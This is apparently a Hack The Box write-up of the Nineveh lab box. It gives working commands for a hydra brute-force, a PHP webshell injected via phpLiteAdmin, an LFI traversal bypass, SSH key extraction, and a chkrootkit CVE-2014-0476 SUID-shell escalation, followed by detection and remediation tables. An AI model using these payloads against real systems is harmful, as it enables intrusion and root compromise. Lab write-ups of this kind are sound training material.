Skip to content
Back to all posts

HTB: Nineveh

· 16 min medium Linux Nineveh

A multi-stage chain through phpLiteAdmin, LFI with path filtering, steganographic SSH key extraction, and a chkrootkit privilege escalation on an Ubuntu 16.04 host.

Overview

Nineveh is a medium Linux box that demands patience and lateral thinking. Two web servers on the same host serve entirely different applications: HTTP hosts a custom department login portal, HTTPS runs phpLiteAdmin. Neither is exploitable in isolation. The foothold requires chaining a write primitive (phpLiteAdmin database creation) with a read primitive (LFI in the department application), combining two vulnerabilities across two protocols to achieve code execution.

User access comes from an SSH key hidden inside a PNG image, and root from the ironic situation of a rootkit detection tool (chkrootkit) providing a root escalation path through its own vulnerability. The box teaches a core principle: vulnerabilities that appear low-impact individually become critical when chained.

Reconnaissance

I start with a service scan to identify what is exposed:

nmap -sC -sV -oA scans/nineveh 10.129.13.126
PortServiceProduct / VersionNotes
80HTTPApache httpd 2.4.18 (Ubuntu)Default page (178 bytes)
443HTTPSApache httpd 2.4.18 (Ubuntu)Image page, CN=nineveh.htb

Two ports, both Apache, but serving different content. The SSL certificate discloses the hostname nineveh.htb. SSH (port 22) is not visible in the scan, which becomes relevant later.

Attack Surface Analysis

Different content on HTTP versus HTTPS is an immediate signal. Two web applications on the same host means two independent attack surfaces.

HTTP (port 80)

Directory enumeration finds two endpoints of interest:

  • /department/login.php: a custom login form with username and password fields
  • /info.php: full PHP info page confirming PHP 7.0.18

The login form leaks username validity through error messages. Submitting an invalid username returns a different error than submitting a valid username with a wrong password. Testing confirms admin is a valid account.

HTTPS (port 443)

Directory enumeration against the HTTPS vhost yields:

  • /db/: phpLiteAdmin v1.9 (SQLite web management, single password field)
  • /secure_notes/: directory containing nineveh.png (2.8 MB image file)

phpLiteAdmin v1.9 is a known target. The application provides full SQLite database management including the ability to create databases at arbitrary filesystem paths. If I can authenticate, I gain a filesystem write primitive.

Vulnerability Analysis

The attack requires chaining four separate weaknesses:

phpLiteAdmin weak credentials. The phpLiteAdmin instance on HTTPS accepts password123. This is not a vulnerability in phpLiteAdmin itself; it is a deployment issue. But it converts network access into a filesystem write primitive, because phpLiteAdmin allows creating SQLite databases at arbitrary paths.

SQLite PHP code injection. A SQLite database is a binary file, but PHP’s include function processes any file it opens. If a database contains PHP code in a table field, and that database file is included by a PHP script, the PHP interpreter executes the embedded code. phpLiteAdmin’s database creation feature becomes a webshell generator.

LFI in department application. The department application’s manage.php page includes files via the notes parameter. A path filter requires the string ninevehNotes to appear in the path. This is bypassable via directory traversal: /ninevehNotes/../../../../../var/tmp/test satisfies the string check while traversing to an arbitrary path.

chkrootkit CVE-2014-0476. chkrootkit versions before 0.50 execute /tmp/update as root if the file exists and is executable. A cron job runs chkrootkit every minute on this host, creating a one-minute window for privilege escalation.

AttributeValue
CVECVE-2014-0476
CWECWE-427 (Uncontrolled Search Path Element)
Root causechkrootkit executes /tmp/update without path validation
Affectedchkrootkit < 0.50

Exploitation

Step 1: phpLiteAdmin authentication

phpLiteAdmin on port 443 accepts the password password123. This grants full database management.

Step 2: PHP code injection via SQLite

I create a database (or use the pre-existing one at /var/tmp/test) and inject PHP code into a table field:

CREATE TABLE IF NOT EXISTS cmd (code TEXT);
INSERT INTO cmd VALUES ('<?php system($_REQUEST["c"]); ?>');

The database file at /var/tmp/test now contains executable PHP.

Step 3: department login brute-force

Hydra against the department login form:

hydra -l admin -P common.txt nineveh.htb \
  http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password"

Result: admin:1q2w3e4r5t

Step 4: LFI to RCE

With authenticated access to the department application, I trigger the LFI to include the SQLite database containing PHP code:

/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/test&c=id

Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

The LFI path filter is satisfied by /ninevehNotes/ at the start, then directory traversal reaches /var/tmp/test. PHP includes the SQLite file, encounters the <?php system(...) ?> string within the binary data, and executes it.

Step 5: SSH key from steganography

The nineveh.png image at /secure_notes/ on HTTPS contains an RSA private key appended after the PNG end marker. This is not steganography in the traditional sense; the key is simply concatenated to the file.

strings nineveh.png | sed -n '/BEGIN RSA/,/END RSA/p' > amrois_key
chmod 600 amrois_key

SSH on port 22 is listening but filtered by the firewall. From the www-data shell, I connect via localhost:

ssh -i /var/tmp/amrois_key [email protected]

User flag captured.

Post-Exploitation

Privilege escalation via chkrootkit

The /report/ directory contains chkrootkit output files generated every minute. chkrootkit versions before 0.50 execute /tmp/update as root if the file exists:

echo '#!/bin/bash' > /tmp/update
echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash' >> /tmp/update
chmod +x /tmp/update

After one minute, /tmp/rootbash appears with the SUID bit set:

/tmp/rootbash -p
id
# uid=1000(amrois) gid=1000(amrois) euid=0(root)

Root flag captured.

What a real attacker does next

In a production environment, the post-exploitation checklist from this host would include:

  • Credential harvesting from /etc/shadow, SSH keys, and web application configuration files
  • Network pivot through the host to reach internal services
  • Persistence via cron, SSH key injection, or PAM backdoor
  • Review of the phpLiteAdmin deployment for stored credentials in other databases

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190WAF rules for directory traversal sequences in query strings
ExecutionT1059.004Process monitoring for /bin/sh spawned by Apache
PersistenceT1053.003File integrity monitoring on /tmp/update
Credential accessT1552.004Anomalous SSH connections from www-data processes
Privilege escalationT1068Audit chkrootkit execution and child processes

Host-level: File integrity monitoring (AIDE, OSSEC) would detect the creation of /tmp/update. Any SUID binary appearing in /tmp should trigger an immediate alert. Process monitoring would flag Apache spawning shell processes.

Application-level: Web application firewalls should block requests containing ../ sequences. The LFI payload is visible in Apache access logs. The phpLiteAdmin brute-force (if any was needed) would appear as rapid POST requests to /db/.

Network-level: SSH connections originating from the www-data user or from Apache child processes are anomalous and highly indicative of compromise.

Remediation

PriorityActionEffortImpact
P0Upgrade chkrootkit to 0.50+LowCritical
P0Remove phpLiteAdmin or restrict to localhostLowCritical
P1Fix LFI in department application (path validation)MediumHigh
P1Change phpLiteAdmin password from defaultLowHigh
P1Remove SSH key from PNG imageLowHigh
P2Open SSH port only via port knocking or VPNMediumMedium
P2Deploy file integrity monitoring for /tmpMediumMedium
P3Remove /info.php from productionLowLow

The phpLiteAdmin write primitive and the department LFI are individually medium severity. Chained together, they produce unauthenticated RCE. This is a textbook example of why vulnerability prioritisation must consider exploitability in context, not just individual CVSS scores.

The chkrootkit escalation is a deeper architectural problem. Security tooling that executes files from world-writable directories without integrity verification becomes the attack vector. Any cron job running as root that touches predictable paths in /tmp is exploitable by any local user.

Key Takeaways

  1. Different content on HTTP versus HTTPS is a signal. Two web applications on the same host must be enumerated independently. The exploitation chain here requires combining vulnerabilities from both, which would be invisible if only one protocol were tested.

  2. Write primitives chain with read primitives. phpLiteAdmin’s database creation is a filesystem write. The department application’s LFI is a filesystem read (and include). Neither is critical alone; together they produce RCE. When auditing applications, map all read and write primitives and evaluate their combinations.

  3. Steganographic analysis starts with strings. The SSH key in nineveh.png was not hidden with any steganographic tool. It was appended after the PNG end marker, visible to strings in seconds. Always check simple extraction before reaching for specialised tools.

  4. Filtered ports are not closed ports. SSH was filtered externally but listening internally. Gaining code execution on the host and connecting via 127.0.0.1 bypasses firewall rules that only apply at the network boundary.

  5. Security tooling can be the vulnerability. chkrootkit, a tool designed to detect rootkits, provided the root escalation path. Any privileged process that executes files from predictable world-writable locations is a latent privilege escalation vulnerability.